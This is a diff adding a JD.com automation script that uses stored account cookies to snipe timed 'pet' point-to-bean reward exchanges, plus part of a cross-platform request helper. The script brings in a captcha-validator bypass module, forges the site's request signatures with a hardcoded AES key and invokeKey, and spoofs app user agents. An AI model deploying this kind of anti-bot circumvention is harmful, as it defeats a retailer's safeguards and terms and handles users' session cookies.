s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) if (r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => { + })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => { + })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t)); else if (this.isNode()) { + this.initGotEnv(t); + const {url: s, ...i} = t; + this.got.post(s, i).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return {openUrl: e, mediaUrl: s} + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return {"open-url": e, "media-url": s} + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return {url: e} + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}) { + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/backUp/jd_joy_reward_Mod.js b/backUp/jd_joy_reward_Mod.js new file mode 100644 index 0000000..06e572f --- /dev/null +++ b/backUp/jd_joy_reward_Mod.js @@ -0,0 +1,1140 @@ +/* +cron "58 7,15,23 * * *" jd_joy_reward_Mod.js + */ +//Mod by ccwav +// prettier-ignore +const $ = new Env('宠汪汪积分兑换有就换版'); +const zooFaker = require('./utils/JDJRValidator_Pure'); +// $.get = zooFaker.injectToRequest2($.get.bind($)); +// $.post = zooFaker.injectToRequest2($.post.bind($)); +let allMessage = ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let jdNotify = false; //是否开启静默运行,默认false关闭(即:奖品兑换成功后会发出通知提示) +let Today = new Date(); +let strDisable20 = "false"; +if ($.isNode() && process.env.JOY_GET20WHEN16) { + strDisable20 = process.env.JOY_GET20WHEN16; + if (strDisable20 != "false") { + console.log("检测到16点时段才抢20京豆"); + } +} + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') + console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://jdjoy.jd.com'; +Date.prototype.Format = function (fmt) { //author: meizz + var o = { + "M+": this.getMonth() + 1, //月份 + "d+": this.getDate(), //日 + "h+": this.getHours(), //小时 + "m+": this.getMinutes(), //分 + "s+": this.getSeconds(), //秒 + "S": this.getMilliseconds() //毫秒 + }; + if (/(y+)/.test(fmt)) + fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length)); + for (var k in o) + if (new RegExp("(" + k + ")").test(fmt)) + fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length))); + return fmt; +} +!(async() => { + if (!cookiesArr[0]) { + $.msg('【京东账号一】宠汪汪积分兑换奖品失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = '' || $.UserName; + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + // console.log(`本地时间与京东服务器时间差(毫秒):${await get_diff_time()}`); + $.validate = ''; + $.validate = await zooFaker.injectToRequest(); + console.log(`脚本开始请求时间 ${(new Date()).Format("yyyy-MM-dd hh:mm:ss | S")}`); + await joyReward(); + } + } + if ($.isNode() && allMessage && $.ctrTemp) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}) +.finally(() => { + $.done(); +}) + +async function joyReward() { + try { + let starttime = process.env.JOY_STARTTIME ? process.env.JOY_STARTTIME : 60; + let nowtime = new Date().getSeconds(); + let sleeptime = 0; + + if (new Date().getMinutes() == 58) { + sleeptime = (60 - nowtime) * 1000; + console.log(`请等待时间到达59分` + `等待时间 ${sleeptime / 1000}`); + await $.wait(sleeptime); + } + + if (new Date().getMinutes() == 59) { + console.log(`脚本现在时间 ${(new Date()).Format("yyyy-MM-dd hh:mm:ss | S")}`); + nowtime = new Date().getSeconds(); + if (nowtime < 59) { + nowtime = new Date().getSeconds() + 1; + sleeptime = (starttime - nowtime) * 1000; + console.log(`等待时间 ${sleeptime / 1000}`); + await $.wait(sleeptime); + } + } + var llSuccess = false; + for (let j = 0; j <= 9; j++) { + console.log(`\n正在尝试第` + (j + 1) + `次执行:${(new Date()).Format("yyyy-MM-dd hh:mm:ss | S")} \n`); + + if (llSuccess) { + console.log(`兑换成功,跳出\n`); + break; + } + await getExchangeRewards(); + if ($.getExchangeRewardsRes && $.getExchangeRewardsRes.success) { + // console.log('success', $.getExchangeRewardsRes); + const data = $.getExchangeRewardsRes.data; + // const levelSaleInfos = data.levelSaleInfos; + // const giftSaleInfos = levelSaleInfos.giftSaleInfos; + // console.log(`当前积分 ${data.coin}\n`); + // console.log(`宠物等级 ${data.level}\n`); + let saleInfoId = '', + giftValue = '', + extInfo = '', + leftStock = 0, + salePrice = 0; + let rewardNum = ""; + + let giftSaleInfos = 'beanConfigs0'; + let time = new Date($.getExchangeRewardsRes['currentTime']).getHours(); + if (time >= 0 && time < 8) { + giftSaleInfos = 'beanConfigs0'; + if (new Date().getMinutes() == 59) { + giftSaleInfos = 'beanConfigs8'; + } + + } + if (time >= 8 && time < 16) { + giftSaleInfos = 'beanConfigs8'; + if (new Date().getMinutes() == 59) { + giftSaleInfos = 'beanConfigs16'; + } + + } + if (time >= 16 && time < 24) { + giftSaleInfos = 'beanConfigs16'; + if (new Date().getMinutes() == 59) { + giftSaleInfos = 'beanConfigs0'; + } + } + + if (giftSaleInfos == 'beanConfigs16' && strDisable20 != "false") { + console.log("现在是16点时段,执行抢20京豆"); + strDisable20 = "false"; + } + console.log(`debug场次:${giftSaleInfos}\n`) + for (let item of data[giftSaleInfos]) { + if (item.giftType === 'jd_bean') { + saleInfoId = item.id; + leftStock = item.leftStock; + salePrice = item.salePrice; + giftValue = item.giftValue; + rewardNum = giftValue; + if (salePrice && rewardNum == 500) { + if (leftStock) { + console.log(`${item['giftName']}当前库存:${item['leftStock']},id:${item.id}`) + if (!saleInfoId) + continue; + // console.log(`当前账户积分:${data.coin}\n当前京豆库存:${leftStock}\n满足兑换条件,开始为您兑换京豆\n`); + console.log(`\n您设置的兑换${giftValue}京豆库存充足,开始为您兑换${giftValue}京豆\n`); + console.log(`脚本开始兑换${rewardNum}京豆时间 ${(new Date()).Format("yyyy-MM-dd hh:mm:ss | S")}`); + await exchange(saleInfoId, 'pet'); + console.log(`请求兑换API后时间 ${(new Date()).Format("yyyy-MM-dd hh:mm:ss | S")}`); + if ($.exchangeRes && $.exchangeRes.success) { + if ($.exchangeRes.errorCode === 'buy_success') { + // console.log(`兑换${giftValue}成功,【宠物等级】${data.level}\n【消耗积分】${salePrice}个\n【剩余积分】${data.coin - salePrice}个\n`) + console.log(`\n兑换${giftValue}成功,【消耗积分】${salePrice}个\n`) + llSuccess = true; + if ($.isNode() && process.env.JD_JOY_REWARD_NOTIFY) { + $.ctrTemp = `${process.env.JD_JOY_REWARD_NOTIFY}` === 'false'; + } else if ($.getdata('jdJoyRewardNotify')) { + $.ctrTemp = $.getdata('jdJoyRewardNotify') === 'false'; + } else { + $.ctrTemp = `${jdNotify}` === 'false'; + } + if ($.ctrTemp) { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【${giftValue}京豆】兑换成功🎉\n【积分详情】消耗积分 ${salePrice}`); + if ($.isNode()) { + allMessage += `【京东账号${$.index}】 ${$.nickName}\n【${giftValue}京豆】兑换成功🎉\n【积分详情】消耗积分 ${salePrice}${$.index !== cookiesArr.length ? '\n\n' : ''}` + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【${giftValue}京豆】兑换成功\n【宠物等级】${data.level}\n【积分详情】消耗积分 ${salePrice}, 剩余积分 ${data.coin - salePrice}`); + + } + break; + } + // if ($.isNode()) { + // await notify.BarkNotify(`${$.name}`, `【京东账号${$.index}】 ${$.nickName}\n【兑换${giftName}】成功\n【宠物等级】${data.level}\n【消耗积分】${salePrice}分\n【当前剩余】${data.coin - salePrice}积分`); + // } + } else if ($.exchangeRes && $.exchangeRes.errorCode === 'buy_limit') { + console.log(`\n兑换${rewardNum}京豆失败,原因:兑换京豆已达上限,请把机会留给更多的小伙伴~\n`) + //$.msg($.name, `兑换${giftName}失败`, `【京东账号${$.index}】${$.nickName}\n兑换京豆已达上限\n请把机会留给更多的小伙伴~\n`) + break; + } else if ($.exchangeRes && $.exchangeRes.errorCode === 'stock_empty') { + console.log(`\n兑换${rewardNum}京豆失败,原因:当前京豆库存为空\n`) + } else if ($.exchangeRes && $.exchangeRes.errorCode === 'insufficient') { + console.log(`\n兑换${rewardNum}京豆失败,原因:当前账号积分不足兑换${giftValue}京豆所需的${salePrice}积分\n`) + break + } else { + console.log(`\n兑奖失败:${JSON.stringify($.exchangeRes)}`) + } + } else { + console.log(`\n兑换京豆异常:${JSON.stringify($.exchangeRes)}`) + } + } else { + //console.log(`\n按您设置的兑换${rewardNum}京豆失败,原因:京豆库存不足,已抢完,请下一场再兑换\n`); + console.log(`${item['giftName']}当前库存:${item['leftStock']},跳过`) + } + } else { + // console.log(`兑换${rewardNum}京豆失败,原因:您目前只有${data.coin}积分,已不足兑换${giftValue}京豆所需的${salePrice}积分\n`) + //$.msg($.name, `兑换${giftName}失败`, `【京东账号${$.index}】${$.nickName}\n目前只有${data.coin}积分\n已不足兑换${giftName}所需的${salePrice}积分\n`) + } + + } + } + if (strDisable20 == "false") { + for (let item of data[giftSaleInfos]) { + if (item.giftType === 'jd_bean') { + saleInfoId = item.id; + leftStock = item.leftStock; + salePrice = item.salePrice; + giftValue = item.giftValue; + rewardNum = giftValue; + if (salePrice && rewardNum == 20) { + if (leftStock) { + console.log(`${item['giftName']}当前库存:${item['leftStock']},id:${item.id}`) + if (!saleInfoId) + continue; + + // console.log(`当前账户积分:${data.coin}\n当前京豆库存:${leftStock}\n满足兑换条件,开始为您兑换京豆\n`); + console.log(`\n您设置的兑换${giftValue}京豆库存充足,开始为您兑换${giftValue}京豆\n`); + console.log(`脚本开始兑换${rewardNum}京豆时间 ${(new Date()).Format("yyyy-MM-dd hh:mm:ss | S")}`); + await exchange(saleInfoId, 'pet'); + console.log(`请求兑换API后时间 ${(new Date()).Format("yyyy-MM-dd hh:mm:ss | S")}`); + if ($.exchangeRes && $.exchangeRes.success) { + if ($.exchangeRes.errorCode === 'buy_success') { + // console.log(`兑换${giftValue}成功,【宠物等级】${data.level}\n【消耗积分】${salePrice}个\n【剩余积分】${data.coin - salePrice}个\n`) + console.log(`\n兑换${giftValue}成功,【消耗积分】${salePrice}个\n`); + llSuccess = true; + if ($.isNode() && process.env.JD_JOY_REWARD_NOTIFY) { + $.ctrTemp = `${process.env.JD_JOY_REWARD_NOTIFY}` === 'false'; + } else if ($.getdata('jdJoyRewardNotify')) { + $.ctrTemp = $.getdata('jdJoyRewardNotify') === 'false'; + } else { + $.ctrTemp = `${jdNotify}` === 'false'; + } + if ($.ctrTemp) { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【${giftValue}京豆】兑换成功🎉\n【积分详情】消耗积分 ${salePrice}`); + if ($.isNode()) { + allMessage += `【京东账号${$.index}】 ${$.nickName}\n【${giftValue}京豆】兑换成功🎉\n【积分详情】消耗积分 ${salePrice}${$.index !== cookiesArr.length ? '\n\n' : ''}` + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【${giftValue}京豆】兑换成功\n【宠物等级】${data.level}\n【积分详情】消耗积分 ${salePrice}, 剩余积分 ${data.coin - salePrice}`); + } + + break; + } + // if ($.isNode()) { + // await notify.BarkNotify(`${$.name}`, `【京东账号${$.index}】 ${$.nickName}\n【兑换${giftName}】成功\n【宠物等级】${data.level}\n【消耗积分】${salePrice}分\n【当前剩余】${data.coin - salePrice}积分`); + // } + } else if ($.exchangeRes && $.exchangeRes.errorCode === 'buy_limit') { + console.log(`\n兑换${rewardNum}京豆失败,原因:兑换京豆已达上限,请把机会留给更多的小伙伴~\n`) + //$.msg($.name, `兑换${giftName}失败`, `【京东账号${$.index}】${$.nickName}\n兑换京豆已达上限\n请把机会留给更多的小伙伴~\n`) + break + } else if ($.exchangeRes && $.exchangeRes.errorCode === 'stock_empty') { + console.log(`\n兑换${rewardNum}京豆失败,原因:当前京豆库存为空\n`) + } else if ($.exchangeRes && $.exchangeRes.errorCode === 'insufficient') { + console.log(`\n兑换${rewardNum}京豆失败,原因:当前账号积分不足兑换${giftValue}京豆所需的${salePrice}积分\n`) + break + } else { + console.log(`\n兑奖失败:${JSON.stringify($.exchangeRes)}`) + } + } else { + console.log(`\n兑换京豆异常:${JSON.stringify($.exchangeRes)}`) + } + } else { + //console.log(`\n按您设置的兑换${rewardNum}京豆失败,原因:京豆库存不足,已抢完,请下一场再兑换\n`); + console.log(`${item['giftName']}当前库存:${item['leftStock']},跳过`) + } + } else { + // console.log(`兑换${rewardNum}京豆失败,原因:您目前只有${data.coin}积分,已不足兑换${giftValue}京豆所需的${salePrice}积分\n`) + //$.msg($.name, `兑换${giftName}失败`, `【京东账号${$.index}】${$.nickName}\n目前只有${data.coin}积分\n已不足兑换${giftName}所需的${salePrice}积分\n`) + } + + } + } + } + } else { + console.log(`${$.name}getExchangeRewards异常,${JSON.stringify($.getExchangeRewardsRes)}`) + } + await $.wait(300); + } + } catch (e) { + $.logErr(e) + } +} +function getExchangeRewards() { + let opt = { + url: "//jdjoy.jd.com/common/gift/getBeanConfigs?reqSource=h5&invokeKey=JL1VTNRadM68cIMQ", + method: "GET", + data: {}, + credentials: "include", + header: { + "content-type": "application/json" + } + } + return new Promise((resolve) => { + let lkt = new Date().getTime() + let lks = $.md5('' + 'JL1VTNRadM68cIMQ' + lkt).toString() + const option = { + url: "https:" + taroRequest(opt)['url'] + $.validate, + headers: { + "Host": "jdjoy.jd.com", + "Content-Type": "application/json", + "Cookie": cookie, + "reqSource": "h5", + "Connection": "keep-alive", + "Accept": "*/*", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://jdjoy.jd.com/pet/index", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + 'lkt': lkt, + 'lks': lks + }, + } + $.get(option, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.getExchangeRewardsRes = {}; + if (safeGet(data)) { + $.getExchangeRewardsRes = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }); + }) +} +function exchange(saleInfoId, orderSource) { + let body = { + "buyParam": { + "orderSource": orderSource, + "saleInfoId": saleInfoId + }, + "deviceInfo": {} + } + let opt = { + "url": "//jdjoy.jd.com/common/gift/new/exchange?reqSource=h5&invokeKey=JL1VTNRadM68cIMQ", + "data": body, + "credentials": "include", + "method": "POST", + "header": { + "content-type": "application/json" + } + } + return new Promise((resolve) => { + let lkt = new Date().getTime() + let lks = $.md5('' + 'JL1VTNRadM68cIMQ' + lkt).toString() + const option = { + url: "https:" + taroRequest(opt)['url'] + $.validate, + body: `${JSON.stringify(body)}`, + headers: { + "Host": "jdjoy.jd.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Content-Type": "application/json", + "Origin": "https://jdjoy.jd.com", + "reqSource": "h5", + "Connection": "keep-alive", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://jdjoy.jd.com/pet/index", + "Content-Length": "10", + "Cookie": cookie, + 'lkt': lkt, + 'lks': lks + }, + } + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`兑换结果:${data}`); + $.exchangeRes = {}; + if (safeGet(data)) { + $.exchangeRes = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }); + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} +function getJDServerTime() { + return new Promise(resolve => { + // console.log(Date.now()) + $.get({ + url: "https://a.jd.com//ajax/queryServerData.html", + headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }, async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} 获取京东服务器时间失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.jdTime = data['serverTime']; + // console.log(data['serverTime']); + // console.log(data['serverTime'] - Date.now()) + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve($.jdTime); + } + }) + }) +} +async function get_diff_time() { + // console.log(`本机时间戳 ${Date.now()}`) + // console.log(`京东服务器时间戳 ${await getJDServerTime()}`) + return Date.now() - await getJDServerTime(); +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function taroRequest(e) { + const a = $.isNode() ? require('crypto-js') : CryptoJS; + const i = "98c14c997fde50cc18bdefecfd48ceb7" + const o = a.enc.Utf8.parse(i) + const r = a.enc.Utf8.parse("ea653f4f3c5eda12"); + let _o = { + "AesEncrypt": function AesEncrypt(e) { + var n = a.enc.Utf8.parse(e); + return a.AES.encrypt(n, o, { + "iv": r, + "mode": a.mode.CBC, + "padding": a.pad.Pkcs7 + }).ciphertext.toString() + }, + "AesDecrypt": function AesDecrypt(e) { + var n = a.enc.Hex.parse(e), + t = a.enc.Base64.stringify(n); + return a.AES.decrypt(t, o, { + "iv": r, + "mode": a.mode.CBC, + "padding": a.pad.Pkcs7 + }).toString(a.enc.Utf8).toString() + }, + "Base64Encode": function Base64Encode(e) { + var n = a.enc.Utf8.parse(e); + return a.enc.Base64.stringify(n) + }, + "Base64Decode": function Base64Decode(e) { + return a.enc.Base64.parse(e).toString(a.enc.Utf8) + }, + "Md5encode": function Md5encode(e) { + return a.MD5(e).toString() + }, + "keyCode": "98c14c997fde50cc18bdefecfd48ceb7" + } + + const c = function sortByLetter(e, n) { + if (e instanceof Array) { + n = n || []; + for (var t = 0; t < e.length; t++) + n[t] = sortByLetter(e[t], n[t]) + } else + !(e instanceof Array) && e instanceof Object ? (n = n || {}, + Object.keys(e).sort().map(function (t) { + n[t] = sortByLetter(e[t], n[t]) + })) : n = e; + return n + } + const s = function isInWhiteAPI(e) { + for (var n = ["gift", "pet"], t = !1, a = 0; a < n.length; a++) { + var i = n[a]; + e.includes(i) && !t && (t = !0) + } + return t + } + + const d = function addQueryToPath(e, n) { + if (n && Object.keys(n).length > 0) { + var t = Object.keys(n).map(function (e) { + return e + "=" + n[e] + }).join("&"); + return e.indexOf("?") >= 0 ? e + "&" + t : e + "?" + t + } + return e + } + const l = function apiConvert(e) { + for (var n = r, t = 0; t < n.length; t++) { + var a = n[t]; + e.includes(a) && !e.includes("common/" + a) && (e = e.replace(a, "common/" + a)) + } + return e + } + + var n = e, + t = (n.header, + n.url); + t += (t.indexOf("?") > -1 ? "&" : "?") + "reqSource=h5"; + var _a = function getTimeSign(e) { + var n = e.url, + t = e.method, + a = void 0 === t ? "GET" : t, + i = e.data, + r = e.header, + m = void 0 === r ? {} + : r, + p = a.toLowerCase(), + g = _o.keyCode, + f = m["content-type"] || m["Content-Type"] || "", + h = "", + u = +new Date(); + return h = "get" !== p && + ("post" !== p || "application/x-www-form-urlencoded" !== f.toLowerCase() && i && Object.keys(i).length) ? + _o.Md5encode(_o.Base64Encode(_o.AesEncrypt("" + JSON.stringify(c(i)))) + "_" + g + "_" + u) : + _o.Md5encode("_" + g + "_" + u), + s(n) && (n = d(n, { + "lks": h, + "lkt": u + }), + n = l(n)), + Object.assign(e, { + "url": n + }) + } + (e = Object.assign(e, { + "url": t + })); + return _a +} +// md5 +!function (n) { + function t(n, t) { + var r = (65535 & n) + (65535 & t); + return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r + } + function r(n, t) { + return n << t | n >>> 32 - t + } + function e(n, e, o, u, c, f) { + return t(r(t(t(e, n), t(u, f)), c), o) + } + function o(n, t, r, o, u, c, f) { + return e(t & r | ~t & o, n, t, u, c, f) + } + function u(n, t, r, o, u, c, f) { + return e(t & o | r & ~o, n, t, u, c, f) + } + function c(n, t, r, o, u, c, f) { + return e(t ^ r ^ o, n, t, u, c, f) + } + function f(n, t, r, o, u, c, f) { + return e(r ^ (t | ~o), n, t, u, c, f) + } + function i(n, r) { + n[r >> 5] |= 128 << r % 32, + n[14 + (r + 64 >>> 9 << 4)] = r; + var e, + i, + a, + d, + h, + l = 1732584193, + g = -271733879, + v = 